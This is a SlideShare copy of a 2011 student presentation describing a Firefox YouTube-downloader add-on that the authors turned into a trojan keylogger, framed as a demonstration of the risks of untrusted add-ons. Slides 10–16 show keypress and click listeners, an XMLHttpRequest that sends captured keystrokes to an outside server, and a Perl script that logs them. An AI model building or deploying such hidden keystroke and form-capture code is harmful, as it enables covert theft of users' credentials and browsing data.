SlideShare una empresa de Scribd logo
1 de 24
Presented by

                                                         Suresh K
                                                Abin John George
                                                    Nimish Joseph
                                               Bairaginath Behera
                                                   Arunanand T A

M.Tech. 2011-13 CSE, Dept. of CSE, NIT Calicut, Kerala, IN, 673 601
Introduction
  What’s an add-on?
                That adds some feature to the existing system


  What’s a Trojan?
                That looks useful, but does unfavorable actions without our
                 knowledge




11/16/2011                 Dept. of CSE, NIT Calicut                           2
Overview
  Existing Add-on vs Ours
  Our Add-on: Features
  Challenges & Design
  Working as an abstraction
  Demonstration
  Conclusions
  References


11/16/2011       Dept. of CSE, NIT Calicut   3
Abstract
  Our add-on works as a normal YouTube video
      downloader, but it is a Trojan

  It will      capture your web activities like URLs
      visited, web form entries, etc. and shall send to a
      remote server

  It will, at the server, identify and store the IPs of the
      hosts
11/16/2011         Dept. of CSE, NIT Calicut                   4
Existing Add-on vs Our Add-on
  Easy YouTube Downloader [1]


  Helps download videos from YouTube


  We modified the source and added some js into the
      source



11/16/2011     Dept. of CSE, NIT Calicut               5
Features of our Add-on
  Still, works as YouTube Downloader


  Monitor click [2] and keyboard[2] events


  Sends all the URLs visited and events, which’s first
      stored in a buffer variable

  Keeps track of IP address of hosts, at the server

11/16/2011         Dept. of CSE, NIT Calicut              6
System Requirements
  Operating System: Windows/Linux


  Browser: Mozilla Firefox 1.5+


  Javascript Enabled [3]




11/16/2011      Dept. of CSE, NIT Calicut   7
Challenges
  Understanding the working of existing add-on.


  Where and how to modify the add-on?


  How to add event listeners?


  How to send captured information to the remote
      server?

11/16/2011      Dept. of CSE, NIT Calicut           8
Design
  We added some blocks of codes into “script-
      compiler.js” file

  The following methods/functions were created:
                Two Event Listeners – KeyPress and Click   to the window
                 object
                sendHref(href)
                addKey(Event)
                clickBuff(Event)
                sendBUFF(BUFF)

11/16/2011                Dept. of CSE, NIT Calicut                         9
Design – Contd…
  Two Event Listeners – KeyPress and Click to the
      window object

         WinObj.addEventListener("keypress",
             function(event){ BUFF.addKey(event); },
             true); [4]

         WinObj.addEventListener("click",
             function(event){ CLICK.Event(event); },
             true); [4]

11/16/2011           Dept. of CSE, NIT Calicut         10
Design – Contd…
  Retrieve href from window object
  sendHref(href)

             If href != "about:blank” then
                         Add href to the buffer
                         Call sendBuff() function




11/16/2011                Dept. of CSE, NIT Calicut   11
Design – Contd…
  addKey(Event)

         This is an key event handler function


         Once a key is pressed, this function will be automatically
             called (Callback function)

         From the Event object, we can extract key-press
             information

         Add this key to the buffer
11/16/2011              Dept. of CSE, NIT Calicut                  12
Design – Contd…
  clickBuff (Event)

         Why we included this clickBuff()?

         This is a click event handler function

         Once a click happens, observe its click target

         Store the click target in buffer

         While submit event happens, we will fetch the target values of
             click events stored.

11/16/2011                Dept. of CSE, NIT Calicut                        13
Design – Contd…
  sendBuff(buff)

                Using Ajax (XMLHttpRequest)
                If buff is full or submit event happens, buff is sent to the server



                var req = new XMLHttpRequest();

                req.open("GET", "http://www.mamboo.in/cgi-
                 bin/hack.pl?keys=" + hack, true);


11/16/2011                  Dept. of CSE, NIT Calicut                              14
Working as an abstraction




11/16/2011   Dept. of CSE, NIT Calicut   15
Server Side Set-up
  A Perl file for Receiving ‘buffer’ data


  Writes to the text file at the server


  $ENV{} hash of Perl (QUERY_STRING and REMOTE_ADDR)


  Timestamp and IP Information is retrieved and stored


11/16/2011       Dept. of CSE, NIT Calicut                16
As a package…
  Available as an .xpi package


  Open the file using Mozilla Firefox


  Restart, and start using




11/16/2011      Dept. of CSE, NIT Calicut   17
Demonstration
  We will now have a demonstration of our project


             http://www.youtube.com/watch?v=WiVZ8dI2stc




11/16/2011            Dept. of CSE, NIT Calicut           18
Future Enhancements
  We can enhance the server side for further processing
      of retrieved information

  Browser cookie details can be accessed




11/16/2011        Dept. of CSE, NIT Calicut                19
Conclusions
  The project aimed at creating a trojan add-on, which is
      successfully completed

  This      project is intended for revealing        the
      vulnerabilities caused by untrusted add-ons




11/16/2011        Dept. of CSE, NIT Calicut              20
References
 [1] https://addons.mozilla.org/
 [2]https://developer.mozilla.org/En/Developing_add-
     ons
 [3] http://www.rietta.com/firefox/index.html
 [4] Kenneth C., Programming Firefox, O’Reilly, 2007
 [5] http://www.google.com



11/16/2011     Dept. of CSE, NIT Calicut               21
Visit…
  Comprehensive details of our project is available at
      (Requires Login):

  https://sites.google.com/site/nitcmtech2013cs/semester
                   -1/is-project-sem1/trojan

                                   Or shortly,

                 http://tinyurl.com/taddon

11/16/2011        Dept. of CSE, NIT Calicut            22
Queries???



11/16/2011   Dept. of CSE, NIT Calicut   23
Thank You…
                             Contact:
                     sureshk.gec@gmail.com
                    abinjohn2008@gmail.com
                    nimishjoseph@gmail.com
                     mail2bairagi@gmail.com
                      arunta007@gmail.com




11/16/2011   Dept. of CSE, NIT Calicut        24

Más contenido relacionado

Similar a A Simple Trojan Mozilla Firefox Add-on

The Simple Assembly Line Balancing Problem
The Simple Assembly Line Balancing ProblemThe Simple Assembly Line Balancing Problem
The Simple Assembly Line Balancing ProblemNicole Wells
 
FusionInventory at LSM/RMLL 2012
FusionInventory at LSM/RMLL 2012FusionInventory at LSM/RMLL 2012
FusionInventory at LSM/RMLL 2012Nouh Walid
 
JSF 2 and beyond: Keeping progress coming
JSF 2 and beyond: Keeping progress comingJSF 2 and beyond: Keeping progress coming
JSF 2 and beyond: Keeping progress comingAndy Schwartz
 
20180618 wwdc cherrypick_xcode10beta
20180618 wwdc cherrypick_xcode10beta20180618 wwdc cherrypick_xcode10beta
20180618 wwdc cherrypick_xcode10betaトニー 森田
 
Continuous Web Performance Monitoring with Jenkins
Continuous Web Performance Monitoring with JenkinsContinuous Web Performance Monitoring with Jenkins
Continuous Web Performance Monitoring with JenkinsMichael Kröll
 
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeatureBlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeatureCocoaHeads France
 
Vipul divyanshu documentation on Kinect and Motion Tracking
Vipul divyanshu documentation  on Kinect and Motion TrackingVipul divyanshu documentation  on Kinect and Motion Tracking
Vipul divyanshu documentation on Kinect and Motion TrackingVipul Divyanshu
 
Jenkins user conference 2011
Jenkins user conference 2011Jenkins user conference 2011
Jenkins user conference 2011Kohsuke Kawaguchi
 
JenkinsMobi: Jenkins XML API for Mobile Applications
JenkinsMobi: Jenkins XML API for Mobile ApplicationsJenkinsMobi: Jenkins XML API for Mobile Applications
JenkinsMobi: Jenkins XML API for Mobile ApplicationsLuca Milanesio
 
Adobe OSMF Overview
Adobe OSMF OverviewAdobe OSMF Overview
Adobe OSMF OverviewYoss Cohen
 
Address Binding Scheme
Address Binding SchemeAddress Binding Scheme
Address Binding SchemeRajesh Piryani
 
Information system development & programming language
Information system development & programming languageInformation system development & programming language
Information system development & programming languageMuhammad Shahid
 
Native Mobile Application Using Open Source
Native Mobile Application Using Open SourceNative Mobile Application Using Open Source
Native Mobile Application Using Open SourceAxway Appcelerator
 
OSCON Titanium Tutorial
OSCON Titanium TutorialOSCON Titanium Tutorial
OSCON Titanium TutorialKevin Whinnery
 
Programming Without Coding Technology (PWCT) Getting Started - The Time Machine
Programming Without Coding Technology (PWCT)  Getting Started - The Time MachineProgramming Without Coding Technology (PWCT)  Getting Started - The Time Machine
Programming Without Coding Technology (PWCT) Getting Started - The Time MachineMahmoud Samir Fayed
 
Graduating to Jenkins CI for Ruby(-on-Rails) Teams
Graduating to Jenkins CI for Ruby(-on-Rails) TeamsGraduating to Jenkins CI for Ruby(-on-Rails) Teams
Graduating to Jenkins CI for Ruby(-on-Rails) TeamsDaniel Doubrovkine
 
See the time on your wrist - Apple Watch presentation
See the time on your wrist - Apple Watch presentationSee the time on your wrist - Apple Watch presentation
See the time on your wrist - Apple Watch presentationLammert Westerhoff
 
varun JENKINS.pptx
varun JENKINS.pptxvarun JENKINS.pptx
varun JENKINS.pptxVgPolampalli
 

Similar a A Simple Trojan Mozilla Firefox Add-on (20)

The Simple Assembly Line Balancing Problem
The Simple Assembly Line Balancing ProblemThe Simple Assembly Line Balancing Problem
The Simple Assembly Line Balancing Problem
 
FusionInventory at LSM/RMLL 2012
FusionInventory at LSM/RMLL 2012FusionInventory at LSM/RMLL 2012
FusionInventory at LSM/RMLL 2012
 
JSF 2 and beyond: Keeping progress coming
JSF 2 and beyond: Keeping progress comingJSF 2 and beyond: Keeping progress coming
JSF 2 and beyond: Keeping progress coming
 
20180618 wwdc cherrypick_xcode10beta
20180618 wwdc cherrypick_xcode10beta20180618 wwdc cherrypick_xcode10beta
20180618 wwdc cherrypick_xcode10beta
 
Continuous Web Performance Monitoring with Jenkins
Continuous Web Performance Monitoring with JenkinsContinuous Web Performance Monitoring with Jenkins
Continuous Web Performance Monitoring with Jenkins
 
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeatureBlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
 
Vipul divyanshu documentation on Kinect and Motion Tracking
Vipul divyanshu documentation  on Kinect and Motion TrackingVipul divyanshu documentation  on Kinect and Motion Tracking
Vipul divyanshu documentation on Kinect and Motion Tracking
 
Jenkins user conference 2011
Jenkins user conference 2011Jenkins user conference 2011
Jenkins user conference 2011
 
JenkinsMobi: Jenkins XML API for Mobile Applications
JenkinsMobi: Jenkins XML API for Mobile ApplicationsJenkinsMobi: Jenkins XML API for Mobile Applications
JenkinsMobi: Jenkins XML API for Mobile Applications
 
Ad upresentation
Ad upresentationAd upresentation
Ad upresentation
 
Adobe OSMF Overview
Adobe OSMF OverviewAdobe OSMF Overview
Adobe OSMF Overview
 
Address Binding Scheme
Address Binding SchemeAddress Binding Scheme
Address Binding Scheme
 
Information system development & programming language
Information system development & programming languageInformation system development & programming language
Information system development & programming language
 
Native Mobile Application Using Open Source
Native Mobile Application Using Open SourceNative Mobile Application Using Open Source
Native Mobile Application Using Open Source
 
OSCON Titanium Tutorial
OSCON Titanium TutorialOSCON Titanium Tutorial
OSCON Titanium Tutorial
 
Programming Without Coding Technology (PWCT) Getting Started - The Time Machine
Programming Without Coding Technology (PWCT)  Getting Started - The Time MachineProgramming Without Coding Technology (PWCT)  Getting Started - The Time Machine
Programming Without Coding Technology (PWCT) Getting Started - The Time Machine
 
Learning Android Part 2/6
Learning Android Part 2/6Learning Android Part 2/6
Learning Android Part 2/6
 
Graduating to Jenkins CI for Ruby(-on-Rails) Teams
Graduating to Jenkins CI for Ruby(-on-Rails) TeamsGraduating to Jenkins CI for Ruby(-on-Rails) Teams
Graduating to Jenkins CI for Ruby(-on-Rails) Teams
 
See the time on your wrist - Apple Watch presentation
See the time on your wrist - Apple Watch presentationSee the time on your wrist - Apple Watch presentation
See the time on your wrist - Apple Watch presentation
 
varun JENKINS.pptx
varun JENKINS.pptxvarun JENKINS.pptx
varun JENKINS.pptx
 

Último

DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clashcharlottematthew16
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningLars Bell
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Manik S Magar
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostZilliz
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 

Último (20)

DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clash
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine Tuning
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 

A Simple Trojan Mozilla Firefox Add-on

  • 1. Presented by Suresh K Abin John George Nimish Joseph Bairaginath Behera Arunanand T A M.Tech. 2011-13 CSE, Dept. of CSE, NIT Calicut, Kerala, IN, 673 601
  • 2. Introduction  What’s an add-on?  That adds some feature to the existing system  What’s a Trojan?  That looks useful, but does unfavorable actions without our knowledge 11/16/2011 Dept. of CSE, NIT Calicut 2
  • 3. Overview  Existing Add-on vs Ours  Our Add-on: Features  Challenges & Design  Working as an abstraction  Demonstration  Conclusions  References 11/16/2011 Dept. of CSE, NIT Calicut 3
  • 4. Abstract  Our add-on works as a normal YouTube video downloader, but it is a Trojan  It will capture your web activities like URLs visited, web form entries, etc. and shall send to a remote server  It will, at the server, identify and store the IPs of the hosts 11/16/2011 Dept. of CSE, NIT Calicut 4
  • 5. Existing Add-on vs Our Add-on  Easy YouTube Downloader [1]  Helps download videos from YouTube  We modified the source and added some js into the source 11/16/2011 Dept. of CSE, NIT Calicut 5
  • 6. Features of our Add-on  Still, works as YouTube Downloader  Monitor click [2] and keyboard[2] events  Sends all the URLs visited and events, which’s first stored in a buffer variable  Keeps track of IP address of hosts, at the server 11/16/2011 Dept. of CSE, NIT Calicut 6
  • 7. System Requirements  Operating System: Windows/Linux  Browser: Mozilla Firefox 1.5+  Javascript Enabled [3] 11/16/2011 Dept. of CSE, NIT Calicut 7
  • 8. Challenges  Understanding the working of existing add-on.  Where and how to modify the add-on?  How to add event listeners?  How to send captured information to the remote server? 11/16/2011 Dept. of CSE, NIT Calicut 8
  • 9. Design  We added some blocks of codes into “script- compiler.js” file  The following methods/functions were created:  Two Event Listeners – KeyPress and Click to the window object  sendHref(href)  addKey(Event)  clickBuff(Event)  sendBUFF(BUFF) 11/16/2011 Dept. of CSE, NIT Calicut 9
  • 10. Design – Contd…  Two Event Listeners – KeyPress and Click to the window object  WinObj.addEventListener("keypress", function(event){ BUFF.addKey(event); }, true); [4]  WinObj.addEventListener("click", function(event){ CLICK.Event(event); }, true); [4] 11/16/2011 Dept. of CSE, NIT Calicut 10
  • 11. Design – Contd…  Retrieve href from window object  sendHref(href) If href != "about:blank” then Add href to the buffer Call sendBuff() function 11/16/2011 Dept. of CSE, NIT Calicut 11
  • 12. Design – Contd…  addKey(Event)  This is an key event handler function  Once a key is pressed, this function will be automatically called (Callback function)  From the Event object, we can extract key-press information  Add this key to the buffer 11/16/2011 Dept. of CSE, NIT Calicut 12
  • 13. Design – Contd…  clickBuff (Event)  Why we included this clickBuff()?  This is a click event handler function  Once a click happens, observe its click target  Store the click target in buffer  While submit event happens, we will fetch the target values of click events stored. 11/16/2011 Dept. of CSE, NIT Calicut 13
  • 14. Design – Contd…  sendBuff(buff)  Using Ajax (XMLHttpRequest)  If buff is full or submit event happens, buff is sent to the server  var req = new XMLHttpRequest();  req.open("GET", "http://www.mamboo.in/cgi- bin/hack.pl?keys=" + hack, true); 11/16/2011 Dept. of CSE, NIT Calicut 14
  • 15. Working as an abstraction 11/16/2011 Dept. of CSE, NIT Calicut 15
  • 16. Server Side Set-up  A Perl file for Receiving ‘buffer’ data  Writes to the text file at the server  $ENV{} hash of Perl (QUERY_STRING and REMOTE_ADDR)  Timestamp and IP Information is retrieved and stored 11/16/2011 Dept. of CSE, NIT Calicut 16
  • 17. As a package…  Available as an .xpi package  Open the file using Mozilla Firefox  Restart, and start using 11/16/2011 Dept. of CSE, NIT Calicut 17
  • 18. Demonstration  We will now have a demonstration of our project http://www.youtube.com/watch?v=WiVZ8dI2stc 11/16/2011 Dept. of CSE, NIT Calicut 18
  • 19. Future Enhancements  We can enhance the server side for further processing of retrieved information  Browser cookie details can be accessed 11/16/2011 Dept. of CSE, NIT Calicut 19
  • 20. Conclusions  The project aimed at creating a trojan add-on, which is successfully completed  This project is intended for revealing the vulnerabilities caused by untrusted add-ons 11/16/2011 Dept. of CSE, NIT Calicut 20
  • 21. References [1] https://addons.mozilla.org/ [2]https://developer.mozilla.org/En/Developing_add- ons [3] http://www.rietta.com/firefox/index.html [4] Kenneth C., Programming Firefox, O’Reilly, 2007 [5] http://www.google.com 11/16/2011 Dept. of CSE, NIT Calicut 21
  • 22. Visit…  Comprehensive details of our project is available at (Requires Login): https://sites.google.com/site/nitcmtech2013cs/semester -1/is-project-sem1/trojan Or shortly, http://tinyurl.com/taddon 11/16/2011 Dept. of CSE, NIT Calicut 22
  • 23. Queries??? 11/16/2011 Dept. of CSE, NIT Calicut 23
  • 24. Thank You… Contact: sureshk.gec@gmail.com abinjohn2008@gmail.com nimishjoseph@gmail.com mail2bairagi@gmail.com arunta007@gmail.com 11/16/2011 Dept. of CSE, NIT Calicut 24